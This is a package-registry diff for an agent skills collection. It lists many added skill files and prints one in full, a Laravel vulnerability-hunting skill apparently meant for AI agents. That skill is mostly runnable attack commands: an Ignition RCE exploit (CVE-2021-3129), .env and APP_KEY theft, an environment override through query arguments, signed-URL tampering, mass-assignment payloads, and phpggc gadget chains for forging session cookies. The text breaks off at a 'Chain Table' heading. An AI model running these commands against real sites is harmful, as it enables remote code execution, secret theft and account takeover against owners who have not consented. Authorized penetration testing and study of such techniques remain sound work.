opencode-skills-collection 4.0.68 → 4.0.69
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +266 -1
- package/bundled-skills/access-review/SKILL.md +394 -0
- package/bundled-skills/access-review/references/details.md +121 -0
- package/bundled-skills/agent-evals/SKILL.md +420 -0
- package/bundled-skills/agent-observability/SKILL.md +346 -0
- package/bundled-skills/agent-observability/references/details.md +786 -0
- package/bundled-skills/ai-agent-security/SKILL.md +393 -0
- package/bundled-skills/ai-agent-security/references/details.md +912 -0
- package/bundled-skills/ai-coding-agent-guardrails/SKILL.md +442 -0
- package/bundled-skills/ai-coding-agent-guardrails/references/details.md +753 -0
- package/bundled-skills/ai-inference-service-mesh/SKILL.md +449 -0
- package/bundled-skills/ai-pipeline-orchestration/SKILL.md +287 -0
- package/bundled-skills/ai-red-teaming/SKILL.md +409 -0
- package/bundled-skills/ai-security-hardening/SKILL.md +343 -0
- package/bundled-skills/ai-sre-incident-response/SKILL.md +336 -0
- package/bundled-skills/alerting-oncall/SKILL.md +458 -0
- package/bundled-skills/alerting-oncall/references/details.md +84 -0
- package/bundled-skills/apk-redteam-pipeline/SKILL.md +446 -0
- package/bundled-skills/argocd-gitops/SKILL.md +469 -0
- package/bundled-skills/arm-templates/SKILL.md +438 -0
- package/bundled-skills/arm-templates/references/details.md +64 -0
- package/bundled-skills/asset-inventory/SKILL.md +412 -0
- package/bundled-skills/asset-inventory/references/details.md +127 -0
- package/bundled-skills/audit-logging/SKILL.md +476 -0
- package/bundled-skills/aws-cloudtrail/SKILL.md +486 -0
- package/bundled-skills/aws-cost-optimization/SKILL.md +331 -0
- package/bundled-skills/aws-ec2/SKILL.md +426 -0
- package/bundled-skills/aws-ecs-fargate/SKILL.md +388 -0
- package/bundled-skills/aws-iam/SKILL.md +463 -0
- package/bundled-skills/aws-lambda/SKILL.md +428 -0
- package/bundled-skills/aws-rds/SKILL.md +380 -0
- package/bundled-skills/aws-s3/SKILL.md +434 -0
- package/bundled-skills/aws-secrets-manager/SKILL.md +486 -0
- package/bundled-skills/aws-vpc/SKILL.md +436 -0
- package/bundled-skills/azure-ai-document-intelligence-ts/SKILL.md +1 -1
- package/bundled-skills/azure-aks/SKILL.md +423 -0
- package/bundled-skills/azure-devops/SKILL.md +457 -0
- package/bundled-skills/azure-functions-devsec/SKILL.md +436 -0
- package/bundled-skills/azure-keyvault/SKILL.md +455 -0
- package/bundled-skills/azure-keyvault/references/details.md +83 -0
- package/bundled-skills/azure-monitor-audit/SKILL.md +379 -0
- package/bundled-skills/azure-networking/SKILL.md +448 -0
- package/bundled-skills/azure-networking/references/details.md +135 -0
- package/bundled-skills/azure-sql/SKILL.md +413 -0
- package/bundled-skills/azure-sql/references/details.md +113 -0
- package/bundled-skills/azure-vms/SKILL.md +402 -0
- package/bundled-skills/azure-vms/references/details.md +134 -0
- package/bundled-skills/backup-recovery/SKILL.md +388 -0
- package/bundled-skills/bb-methodology/SKILL.md +451 -0
- package/bundled-skills/bb-methodology/references/details.md +120 -0
- package/bundled-skills/block-storage/SKILL.md +371 -0
- package/bundled-skills/blue-green-deploy/SKILL.md +453 -0
- package/bundled-skills/blue-green-deploy/references/details.md +90 -0
- package/bundled-skills/bug-bounty/SKILL.md +447 -0
- package/bundled-skills/bug-bounty/references/details.md +1316 -0
- package/bundled-skills/bugcrowd-reporting/SKILL.md +351 -0
- package/bundled-skills/business-continuity/SKILL.md +463 -0
- package/bundled-skills/career-ops/SKILL.md +186 -0
- package/bundled-skills/cdn-setup/SKILL.md +374 -0
- package/bundled-skills/change-management/SKILL.md +438 -0
- package/bundled-skills/change-management/references/details.md +105 -0
- package/bundled-skills/circleci/SKILL.md +475 -0
- package/bundled-skills/cis-benchmarks/SKILL.md +150 -0
- package/bundled-skills/cloudflare-pages/SKILL.md +318 -0
- package/bundled-skills/cloudflare-r2/SKILL.md +353 -0
- package/bundled-skills/cloudflare-workers/SKILL.md +415 -0
- package/bundled-skills/cloudflare-zero-trust/SKILL.md +361 -0
- package/bundled-skills/cloudformation/SKILL.md +461 -0
- package/bundled-skills/constraint-driven-development/SKILL.md +335 -0
- package/bundled-skills/constraint-driven-development/references/floor-guard.md +99 -0
- package/bundled-skills/container-hardening/SKILL.md +126 -0
- package/bundled-skills/container-registries/SKILL.md +435 -0
- package/bundled-skills/container-scanning/SKILL.md +416 -0
- package/bundled-skills/convex-backend/SKILL.md +338 -0
- package/bundled-skills/dast-scanning/SKILL.md +437 -0
- package/bundled-skills/database-backups/SKILL.md +425 -0
- package/bundled-skills/datadog/SKILL.md +487 -0
- package/bundled-skills/dependency-scanning/SKILL.md +457 -0
- package/bundled-skills/devcontainers-nix/SKILL.md +416 -0
- package/bundled-skills/disaster-recovery/SKILL.md +374 -0
- package/bundled-skills/disaster-recovery/references/details.md +219 -0
- package/bundled-skills/dns-management/SKILL.md +375 -0
- package/bundled-skills/docker-compose/SKILL.md +482 -0
- package/bundled-skills/docker-management/SKILL.md +426 -0
- package/bundled-skills/ebpf-observability/SKILL.md +436 -0
- package/bundled-skills/ebpf-observability/references/details.md +542 -0
- package/bundled-skills/elk-stack/SKILL.md +487 -0
- package/bundled-skills/enterprise-vpn-attack/SKILL.md +395 -0
- package/bundled-skills/evidence-hygiene/SKILL.md +404 -0
- package/bundled-skills/feature-flags/SKILL.md +426 -0
- package/bundled-skills/feature-flags/references/details.md +86 -0
- package/bundled-skills/fedramp-compliance/SKILL.md +453 -0
- package/bundled-skills/firebase-app-platform/SKILL.md +381 -0
- package/bundled-skills/firewall-config/SKILL.md +479 -0
- package/bundled-skills/gcp-audit-logs/SKILL.md +452 -0
- package/bundled-skills/gcp-audit-logs/references/details.md +56 -0
- package/bundled-skills/gcp-cloud-functions/SKILL.md +284 -0
- package/bundled-skills/gcp-cloud-sql/SKILL.md +277 -0
- package/bundled-skills/gcp-compute/SKILL.md +319 -0
- package/bundled-skills/gcp-gke/SKILL.md +307 -0
- package/bundled-skills/gcp-networking/SKILL.md +293 -0
- package/bundled-skills/gcp-secret-manager/SKILL.md +421 -0
- package/bundled-skills/gcp-secret-manager/references/details.md +131 -0
- package/bundled-skills/gdpr-compliance/SKILL.md +451 -0
- package/bundled-skills/gdpr-compliance/references/details.md +145 -0
- package/bundled-skills/geo-audit/SKILL.md +368 -0
- package/bundled-skills/geo-brand-mentions/SKILL.md +68 -0
- package/bundled-skills/geo-brand-mentions/references/details.md +471 -0
- package/bundled-skills/geo-citability/SKILL.md +350 -0
- package/bundled-skills/geo-compare/SKILL.md +340 -0
- package/bundled-skills/geo-content/SKILL.md +383 -0
- package/bundled-skills/geo-crawlers/SKILL.md +408 -0
- package/bundled-skills/geo-llmstxt/SKILL.md +464 -0
- package/bundled-skills/geo-platform-optimizer/SKILL.md +314 -0
- package/bundled-skills/geo-proposal/SKILL.md +378 -0
- package/bundled-skills/geo-prospect/SKILL.md +225 -0
- package/bundled-skills/geo-report/SKILL.md +436 -0
- package/bundled-skills/geo-report-pdf/SKILL.md +157 -0
- package/bundled-skills/geo-schema/SKILL.md +408 -0
- package/bundled-skills/geo-technical/SKILL.md +78 -0
- package/bundled-skills/geo-technical/references/details.md +543 -0
- package/bundled-skills/git-workflow/SKILL.md +460 -0
- package/bundled-skills/github-actions/SKILL.md +368 -0
- package/bundled-skills/gitlab-ci/SKILL.md +340 -0
- package/bundled-skills/gpu-kubernetes-operations/SKILL.md +468 -0
- package/bundled-skills/gpu-server-management/SKILL.md +236 -0
- package/bundled-skills/hashicorp-vault/SKILL.md +408 -0
- package/bundled-skills/helm-charts/SKILL.md +469 -0
- package/bundled-skills/hipaa-compliance/SKILL.md +451 -0
- package/bundled-skills/hunt-aspnet/SKILL.md +321 -0
- package/bundled-skills/hunt-ato/SKILL.md +184 -0
- package/bundled-skills/hunt-auth-bypass/SKILL.md +426 -0
- package/bundled-skills/hunt-auth-bypass/references/details.md +80 -0
- package/bundled-skills/hunt-brute-force/SKILL.md +341 -0
- package/bundled-skills/hunt-business-logic/SKILL.md +281 -0
- package/bundled-skills/hunt-cache-poison/SKILL.md +382 -0
- package/bundled-skills/hunt-captcha-bypass/SKILL.md +136 -0
- package/bundled-skills/hunt-cicd/SKILL.md +311 -0
- package/bundled-skills/hunt-clickjacking/SKILL.md +110 -0
- package/bundled-skills/hunt-cors/SKILL.md +335 -0
- package/bundled-skills/hunt-dom/SKILL.md +323 -0
- package/bundled-skills/hunt-exceptional-conditions/SKILL.md +111 -0
- package/bundled-skills/hunt-file-upload/SKILL.md +202 -0
- package/bundled-skills/hunt-fintech-graphql/SKILL.md +289 -0
- package/bundled-skills/hunt-forgot-password/SKILL.md +114 -0
- package/bundled-skills/hunt-grpc/SKILL.md +317 -0
- package/bundled-skills/hunt-host-header/SKILL.md +309 -0
- package/bundled-skills/hunt-html-injection/SKILL.md +106 -0
- package/bundled-skills/hunt-http-smuggling/SKILL.md +129 -0
- package/bundled-skills/hunt-http-smuggling/references/phase2h-smuggling-cachepoison.md +177 -0
- package/bundled-skills/hunt-idor/SKILL.md +434 -0
- package/bundled-skills/hunt-jwt-crypto/SKILL.md +221 -0
- package/bundled-skills/hunt-k8s/SKILL.md +337 -0
- package/bundled-skills/hunt-laravel/SKILL.md +255 -0
- package/bundled-skills/hunt-ldap/SKILL.md +351 -0
- package/bundled-skills/hunt-lfi/SKILL.md +311 -0
- package/bundled-skills/hunt-llm-ai/SKILL.md +289 -0
- package/bundled-skills/hunt-mfa-bypass/SKILL.md +177 -0
- package/bundled-skills/hunt-misc/SKILL.md +378 -0
- package/bundled-skills/hunt-nextjs/SKILL.md +299 -0
- package/bundled-skills/hunt-nodejs/SKILL.md +263 -0
- package/bundled-skills/hunt-nosqli/SKILL.md +210 -0
- package/bundled-skills/hunt-ntlm-info/SKILL.md +314 -0
- package/bundled-skills/hunt-oauth/SKILL.md +459 -0
- package/bundled-skills/hunt-open-redirect/SKILL.md +223 -0
- package/bundled-skills/hunt-race-condition/SKILL.md +381 -0
- package/bundled-skills/hunt-race-condition/references/details.md +159 -0
- package/bundled-skills/hunt-rag-vector/SKILL.md +212 -0
- package/bundled-skills/hunt-rce/SKILL.md +444 -0
- package/bundled-skills/hunt-rce/references/details.md +110 -0
- package/bundled-skills/hunt-saml/SKILL.md +156 -0
- package/bundled-skills/hunt-session/SKILL.md +342 -0
- package/bundled-skills/hunt-shadow-api/SKILL.md +198 -0
- package/bundled-skills/hunt-source-leak/SKILL.md +345 -0
- package/bundled-skills/hunt-spa-api/SKILL.md +163 -0
- package/bundled-skills/hunt-springboot/SKILL.md +285 -0
- package/bundled-skills/hunt-sqli/SKILL.md +466 -0
- package/bundled-skills/hunt-ssrf/SKILL.md +396 -0
- package/bundled-skills/hunt-ssrf/references/details.md +179 -0
- package/bundled-skills/hunt-ssti/SKILL.md +163 -0
- package/bundled-skills/hunt-subdomain/SKILL.md +379 -0
- package/bundled-skills/hunt-tls-network/SKILL.md +399 -0
- package/bundled-skills/hunt-xxe/SKILL.md +466 -0
- package/bundled-skills/i-have-adhd/SKILL.md +170 -0
- package/bundled-skills/identity-access-management/SKILL.md +382 -0
- package/bundled-skills/identity-access-management/references/details.md +524 -0
- package/bundled-skills/incident-management/SKILL.md +484 -0
- package/bundled-skills/incident-response/SKILL.md +448 -0
- package/bundled-skills/incident-response/references/details.md +113 -0
- package/bundled-skills/interview-me/SKILL.md +248 -0
- package/bundled-skills/iso27001-compliance/SKILL.md +460 -0
- package/bundled-skills/jenkins/SKILL.md +462 -0
- package/bundled-skills/jev-use/SKILL.md +158 -0
- package/bundled-skills/kubernetes-hardening/SKILL.md +154 -0
- package/bundled-skills/kubernetes-ops/SKILL.md +449 -0
- package/bundled-skills/kubernetes-ops/references/details.md +108 -0
- package/bundled-skills/kustomize/SKILL.md +478 -0
- package/bundled-skills/linux-administration/SKILL.md +367 -0
- package/bundled-skills/linux-hardening/SKILL.md +154 -0
- package/bundled-skills/llm-app-security/SKILL.md +389 -0
- package/bundled-skills/llm-app-security/references/details.md +674 -0
- package/bundled-skills/llm-caching/SKILL.md +334 -0
- package/bundled-skills/llm-cost-optimization/SKILL.md +311 -0
- package/bundled-skills/llm-fine-tuning/SKILL.md +329 -0
- package/bundled-skills/llm-gateway/SKILL.md +282 -0
- package/bundled-skills/llm-inference-scaling/SKILL.md +286 -0
- package/bundled-skills/llmops-platform-engineering/SKILL.md +472 -0
- package/bundled-skills/load-balancing/SKILL.md +403 -0
- package/bundled-skills/loki-logging/SKILL.md +479 -0
- package/bundled-skills/m365-entra-attack/SKILL.md +423 -0
- package/bundled-skills/mac-mini-llm-lab/SKILL.md +350 -0
- package/bundled-skills/mcp-server-security/SKILL.md +356 -0
- package/bundled-skills/mcp-server-security/references/details.md +745 -0
- package/bundled-skills/mdm-device-management/SKILL.md +404 -0
- package/bundled-skills/mdm-device-management/references/details.md +410 -0
- package/bundled-skills/meme-coin-audit/SKILL.md +402 -0
- package/bundled-skills/mid-engagement-ir-detection/SKILL.md +377 -0
- package/bundled-skills/model-registry-governance/SKILL.md +452 -0
- package/bundled-skills/model-serving-kubernetes/SKILL.md +339 -0
- package/bundled-skills/model-supply-chain-security/SKILL.md +427 -0
- package/bundled-skills/mongodb/SKILL.md +436 -0
- package/bundled-skills/multi-tenant-llm-hosting/SKILL.md +435 -0
- package/bundled-skills/multi-tenant-llm-hosting/references/details.md +211 -0
- package/bundled-skills/mysql/SKILL.md +390 -0
- package/bundled-skills/new-relic/SKILL.md +472 -0
- package/bundled-skills/nfs-storage/SKILL.md +356 -0
- package/bundled-skills/object-storage/SKILL.md +378 -0
- package/bundled-skills/offensive-osint/SKILL.md +443 -0
- package/bundled-skills/okta-attack/SKILL.md +436 -0
- package/bundled-skills/ollama-stack/SKILL.md +379 -0
- package/bundled-skills/openclaw-deployment-hardening/SKILL.md +135 -0
- package/bundled-skills/openclaw-local-mac-mini/SKILL.md +426 -0
- package/bundled-skills/openclaw-local-mac-mini/references/details.md +221 -0
- package/bundled-skills/openclaw-security-hardening/SKILL.md +135 -0
- package/bundled-skills/openshift/SKILL.md +485 -0
- package/bundled-skills/opentelemetry/SKILL.md +438 -0
- package/bundled-skills/opentelemetry/references/details.md +78 -0
- package/bundled-skills/opentofu-migration/SKILL.md +349 -0
- package/bundled-skills/osint-methodology/SKILL.md +460 -0
- package/bundled-skills/osint-methodology/references/details.md +1350 -0
- package/bundled-skills/pci-dss-compliance/SKILL.md +446 -0
- package/bundled-skills/penetration-testing/SKILL.md +152 -0
- package/bundled-skills/performance-tuning/SKILL.md +381 -0
- package/bundled-skills/planetscale/SKILL.md +297 -0
- package/bundled-skills/platform-engineering/SKILL.md +348 -0
- package/bundled-skills/platform-engineering/references/details.md +944 -0
- package/bundled-skills/podman/SKILL.md +405 -0
- package/bundled-skills/policy-as-code/SKILL.md +434 -0
- package/bundled-skills/policy-as-code/references/details.md +204 -0
- package/bundled-skills/postgresql-devsec/SKILL.md +378 -0
- package/bundled-skills/prometheus-grafana/SKILL.md +469 -0
- package/bundled-skills/prompt-injection-defense/SKILL.md +483 -0
- package/bundled-skills/rag-infrastructure/SKILL.md +269 -0
- package/bundled-skills/rag-observability-evals/SKILL.md +444 -0
- package/bundled-skills/rag-observability-evals/references/details.md +92 -0
- package/bundled-skills/recon-scope-triage/SKILL.md +128 -0
- package/bundled-skills/redis/SKILL.md +421 -0
- package/bundled-skills/redteam-report-template/SKILL.md +370 -0
- package/bundled-skills/report-writing/SKILL.md +426 -0
- package/bundled-skills/report-writing/references/details.md +187 -0
- package/bundled-skills/reverse-proxy/SKILL.md +420 -0
- package/bundled-skills/runbook-creation/SKILL.md +438 -0
- package/bundled-skills/runbook-creation/references/details.md +71 -0
- package/bundled-skills/saas-security-posture/SKILL.md +415 -0
- package/bundled-skills/sast-scanning/SKILL.md +444 -0
- package/bundled-skills/sbom-supply-chain/SKILL.md +433 -0
- package/bundled-skills/security-arsenal/SKILL.md +446 -0
- package/bundled-skills/security-arsenal/references/details.md +540 -0
- package/bundled-skills/security-automation/SKILL.md +146 -0
- package/bundled-skills/semantic-versioning/SKILL.md +434 -0
- package/bundled-skills/semantic-versioning/references/details.md +83 -0
- package/bundled-skills/service-mesh/SKILL.md +422 -0
- package/bundled-skills/soc2-compliance/SKILL.md +409 -0
- package/bundled-skills/sops-encryption/SKILL.md +124 -0
- package/bundled-skills/sre-dashboards/SKILL.md +143 -0
- package/bundled-skills/ssh-configuration/SKILL.md +324 -0
- package/bundled-skills/ssl-tls-management/SKILL.md +428 -0
- package/bundled-skills/ssl-tls-management/references/details.md +99 -0
- package/bundled-skills/startup-it-troubleshooting/SKILL.md +415 -0
- package/bundled-skills/supply-chain-attack-recon/SKILL.md +453 -0
- package/bundled-skills/supply-chain-attack-recon/references/details.md +258 -0
- package/bundled-skills/systemd-services/SKILL.md +379 -0
- package/bundled-skills/terraform-aws/SKILL.md +125 -0
- package/bundled-skills/terraform-azure/SKILL.md +415 -0
- package/bundled-skills/terraform-azure/references/details.md +231 -0
- package/bundled-skills/terraform-gcp/SKILL.md +369 -0
- package/bundled-skills/threat-modeling/SKILL.md +487 -0
- package/bundled-skills/user-management/SKILL.md +383 -0
- package/bundled-skills/using-agent-skills/SKILL.md +220 -0
- package/bundled-skills/vector-database-ops/SKILL.md +300 -0
- package/bundled-skills/vendor-management/SKILL.md +439 -0
- package/bundled-skills/vendor-management/references/details.md +109 -0
- package/bundled-skills/vercel-deployments/SKILL.md +296 -0
- package/bundled-skills/vllm-server/SKILL.md +236 -0
- package/bundled-skills/vmware-vcenter-attack/SKILL.md +412 -0
- package/bundled-skills/vpn-setup/SKILL.md +452 -0
- package/bundled-skills/vulnerability-scanning/SKILL.md +448 -0
- package/bundled-skills/waf-setup/SKILL.md +354 -0
- package/bundled-skills/waf-setup/references/details.md +211 -0
- package/bundled-skills/web2-recon/SKILL.md +440 -0
- package/bundled-skills/web2-recon/references/details.md +319 -0
- package/bundled-skills/web3-audit/SKILL.md +445 -0
- package/bundled-skills/web3-audit/references/details.md +224 -0
- package/bundled-skills/windows-hardening/SKILL.md +454 -0
- package/bundled-skills/windows-hardening/references/details.md +204 -0
- package/bundled-skills/windows-server/SKILL.md +318 -0
- package/bundled-skills/zero-trust/SKILL.md +461 -0
- package/package.json +1 -1
- package/skills_index.json +6943 -323
|
@@ -0,0 +1,255 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: hunt-laravel
|
|
3
|
+
description: Hunt Laravel specific vulnerabilities
|
|
4
|
+
category: security
|
|
5
|
+
risk: offensive
|
|
6
|
+
source: https://github.com/elementalsouls/Claude-BugHunter
|
|
7
|
+
source_repo: elementalsouls/Claude-BugHunter
|
|
8
|
+
source_type: community
|
|
9
|
+
date_added: '2026-09-20'
|
|
10
|
+
license: MIT
|
|
11
|
+
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
|
|
12
|
+
compatibility: Requires explicit written authorization for a target scope plus the
|
|
13
|
+
relevant testing tools for this technique. Docs-only; helper scripts and commands
|
|
14
|
+
not bundled.
|
|
15
|
+
sources: hackerone_public, cve_database
|
|
16
|
+
report_count: 14
|
|
17
|
+
---
|
|
18
|
+
> **⚠️ AUTHORIZED USE ONLY**
|
|
19
|
+
> This skill is for educational purposes or authorized security assessments only.
|
|
20
|
+
> You must have explicit, written permission from the system owner before using this tool.
|
|
21
|
+
> Misuse of this tool is illegal and strictly prohibited.
|
|
22
|
+
|
|
23
|
+
> **Mandatory confirmation gate**
|
|
24
|
+
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
|
|
25
|
+
> 1. Ask the user to state the exact target URL, IP, account, or resource.
|
|
26
|
+
> 2. Ask the user to confirm written authorization and the permitted scope.
|
|
27
|
+
> 3. Show the exact command(s) and explain their expected effect.
|
|
28
|
+
> 4. Wait for explicit confirmation in the current conversation.
|
|
29
|
+
>
|
|
30
|
+
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
|
|
31
|
+
|
|
32
|
+
# HUNT-LARAVEL — Laravel Specific Vulnerabilities
|
|
33
|
+
|
|
34
|
+
## Crown Jewel Targets
|
|
35
|
+
|
|
36
|
+
Laravel debug mode enabled in production = instant RCE via Ignition (CVE-2021-3129).
|
|
37
|
+
|
|
38
|
+
**Highest-value findings:**
|
|
39
|
+
- **Ignition RCE (CVE-2021-3129)** — `APP_DEBUG=true` + Laravel < 8.4.2 → `/_ignition/execute-solution` RCE without auth
|
|
40
|
+
- **Telescope dashboard** — `/telescope` exposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables
|
|
41
|
+
- **Horizon dashboard** — `/horizon` exposes queue job details, failed jobs with full payloads (may contain API keys, PII)
|
|
42
|
+
- **Signed URL manipulation** — if `URL::signedRoute` validates wrong params → bypass signed URL → unauthorized actions
|
|
43
|
+
- **.env exposure** — `APP_KEY` leaked → decrypt all encrypted cookies → forge session → ATO
|
|
44
|
+
|
|
45
|
+
---
|
|
46
|
+
|
|
47
|
+
## Phase 1 — Fingerprint Laravel
|
|
48
|
+
|
|
49
|
+
```bash
|
|
50
|
+
# Laravel-specific indicators
|
|
51
|
+
curl -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"
|
|
52
|
+
curl -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"
|
|
53
|
+
|
|
54
|
+
# Common Laravel paths
|
|
55
|
+
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
|
|
56
|
+
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
|
|
57
|
+
[ "$STATUS" != "404" ] && echo "$path: $STATUS"
|
|
58
|
+
done
|
|
59
|
+
|
|
60
|
+
# Check error page (trigger 404)
|
|
61
|
+
curl -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
---
|
|
65
|
+
|
|
66
|
+
## Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)
|
|
67
|
+
|
|
68
|
+
```bash
|
|
69
|
+
# Step 1: Check if debug mode is enabled (Whoops error page)
|
|
70
|
+
curl -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"
|
|
71
|
+
|
|
72
|
+
# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129
|
|
73
|
+
|
|
74
|
+
# Step 2: Check Ignition endpoint
|
|
75
|
+
curl -s "https://$TARGET/_ignition/health-check" | head -5
|
|
76
|
+
|
|
77
|
+
# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
|
|
78
|
+
# (Requires debug mode + writable storage/logs)
|
|
79
|
+
# Tool: ambionics/laravel-ignition-rce
|
|
80
|
+
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
|
|
81
|
+
php /tmp/laravel-rce/exploit.php https://$TARGET "id"
|
|
82
|
+
|
|
83
|
+
# Manual test — send solution request
|
|
84
|
+
curl -s -X POST "https://$TARGET/_ignition/execute-solution" \
|
|
85
|
+
-H "Content-Type: application/json" \
|
|
86
|
+
-d '{
|
|
87
|
+
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
|
|
88
|
+
"parameters": {
|
|
89
|
+
"variableName": "x",
|
|
90
|
+
"viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
|
|
91
|
+
}
|
|
92
|
+
}'
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
---
|
|
96
|
+
|
|
97
|
+
## Phase 3 — Laravel Telescope & Horizon
|
|
98
|
+
|
|
99
|
+
```bash
|
|
100
|
+
# Telescope — request/response logs, DB queries, jobs, cache, events
|
|
101
|
+
curl -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"
|
|
102
|
+
curl -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
|
|
103
|
+
curl -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
|
|
104
|
+
curl -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
|
|
105
|
+
curl -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50
|
|
106
|
+
|
|
107
|
+
# Horizon — queue worker dashboard
|
|
108
|
+
curl -s "https://$TARGET/horizon" | grep -i "horizon\|laravel"
|
|
109
|
+
curl -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
|
|
110
|
+
curl -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
|
|
111
|
+
# Failed job payloads often contain full request data including auth tokens
|
|
112
|
+
|
|
113
|
+
# Common paths
|
|
114
|
+
for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
|
|
115
|
+
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
|
|
116
|
+
[ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
|
|
117
|
+
done
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
---
|
|
121
|
+
|
|
122
|
+
## Phase 4 — .env File & APP_KEY Exposure
|
|
123
|
+
|
|
124
|
+
```bash
|
|
125
|
+
# Direct .env access
|
|
126
|
+
curl -s "https://$TARGET/.env" | grep -i "APP_KEY\|DB_PASSWORD\|SECRET\|KEY"
|
|
127
|
+
curl -s "https://$TARGET/.env.production"
|
|
128
|
+
curl -s "https://$TARGET/.env.backup"
|
|
129
|
+
curl -s "https://$TARGET/.env.local"
|
|
130
|
+
|
|
131
|
+
# If APP_KEY found:
|
|
132
|
+
APP_KEY="base64:XXXXXXX"
|
|
133
|
+
echo "APP_KEY=$APP_KEY"
|
|
134
|
+
# → Can decrypt all Laravel encrypted cookies
|
|
135
|
+
# → Can forge session cookies → ATO for any user
|
|
136
|
+
|
|
137
|
+
# Also check
|
|
138
|
+
curl -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception\|error\|key\|password"
|
|
139
|
+
```
|
|
140
|
+
|
|
141
|
+
---
|
|
142
|
+
|
|
143
|
+
## Phase 4b — Environment override via query args (CVE-2024-52301)
|
|
144
|
+
When `register_argc_argv=On` (php.ini), Laravel parses the query-string as CLI args, so `?--env=` overrides `APP_ENV` over HTTP -> flip the app into `local`/`testing` config (debug on, seeded creds, weaker guards).
|
|
145
|
+
```bash
|
|
146
|
+
curl -s "https://$TARGET/?--env=local" # force debug/local config
|
|
147
|
+
curl -s "https://$TARGET/login?--env=testing" # swap to testing DB/config
|
|
148
|
+
# Confirm: debug/Whoops page or a different env banner. Fixed 11.31.0 / 10.48.23 / 9.52.17.
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
## Phase 5 — Signed URL Manipulation
|
|
152
|
+
|
|
153
|
+
```bash
|
|
154
|
+
# Laravel signed URLs contain signature param: ?signature=HASH
|
|
155
|
+
# Find signed URL endpoints
|
|
156
|
+
cat recon/$TARGET/urls.txt | grep "signature="
|
|
157
|
+
|
|
158
|
+
# Test: modify a non-signature parameter — should fail validation
|
|
159
|
+
SIGNED_URL="https://$TARGET/unsubscribe?user=123&email=test@test.com&signature=VALID_SIG"
|
|
160
|
+
|
|
161
|
+
# Modify user ID → should fail if properly signed
|
|
162
|
+
curl -s "${SIGNED_URL/user=123/user=999}"
|
|
163
|
+
|
|
164
|
+
# Test signature bypass: remove signature entirely
|
|
165
|
+
curl -s "${SIGNED_URL/&signature=VALID_SIG/}"
|
|
166
|
+
|
|
167
|
+
# Test: does the app validate ALL parameters or just some?
|
|
168
|
+
curl -s "${SIGNED_URL}&extra=malicious"
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
## Phase 6 — Mass Assignment via Eloquent
|
|
174
|
+
|
|
175
|
+
```bash
|
|
176
|
+
# Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly
|
|
177
|
+
# Test: add extra fields to update/create requests
|
|
178
|
+
|
|
179
|
+
# Profile update
|
|
180
|
+
curl -s -X POST "https://$TARGET/api/profile" \
|
|
181
|
+
-H "Cookie: laravel_session=SESSION" \
|
|
182
|
+
-H "Content-Type: application/json" \
|
|
183
|
+
-d '{"name": "Test", "email": "test@test.com", "is_admin": true, "role": "admin"}'
|
|
184
|
+
|
|
185
|
+
# Registration
|
|
186
|
+
curl -s -X POST "https://$TARGET/api/register" \
|
|
187
|
+
-H "Content-Type: application/json" \
|
|
188
|
+
-d '{"name": "Test", "email": "test@new.com", "password": "test123", "verified": true, "admin": 1}'
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
---
|
|
192
|
+
|
|
193
|
+
## Phase 7 — Laravel Cookie Deserialization
|
|
194
|
+
|
|
195
|
+
```bash
|
|
196
|
+
# If APP_KEY is known, forge a session cookie with malicious serialized payload
|
|
197
|
+
# Uses phpggc gadget chains
|
|
198
|
+
|
|
199
|
+
# Get the app key
|
|
200
|
+
APP_KEY=$(curl -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)
|
|
201
|
+
|
|
202
|
+
# Generate payload with phpggc
|
|
203
|
+
php phpggc Laravel/RCE5 system 'id' | base64
|
|
204
|
+
|
|
205
|
+
# Sign the cookie with the app key using laravel-cookie-forge script
|
|
206
|
+
# python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
---
|
|
210
|
+
|
|
211
|
+
## Chain Table
|
|
212
|
+
|
|
213
|
+
